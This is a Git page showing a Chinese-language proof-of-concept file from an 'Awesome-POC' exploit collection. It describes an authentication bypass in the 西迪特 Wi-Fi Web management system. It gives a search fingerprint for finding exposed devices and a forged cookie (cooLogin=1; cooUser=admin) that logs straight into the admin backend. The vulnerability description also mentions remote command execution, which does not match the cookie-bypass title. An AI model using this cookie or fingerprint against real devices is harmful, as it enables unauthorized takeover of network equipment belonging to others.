Awesome-POC/网络设备漏洞/西迪特 Wi-Fi Web管理 Cookie 越权访问漏洞.md
2024-11-06 14:10:36 +08:00

31 lines
489 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 西迪特 Wi-Fi Web管理 Cookie 越权访问漏洞
## 漏洞描述
西迪特 Wi-Fi Web管理系统后台过滤不足导致远程命令执行漏洞
## 漏洞影响
```
西迪特 Wi-Fi Web管理
```
## 网络测绘
```
title=="Wi-Fi Web管理"
```
## 漏洞复现o
登录页面
![image-20220519183944313](images/202205191839372.png)
添加Cookie即可登录后台
```
Cookie: timestamp=0; cooLogin=1; cooUser=admin
```
![image-20220519184113756](images/202205191841849.png)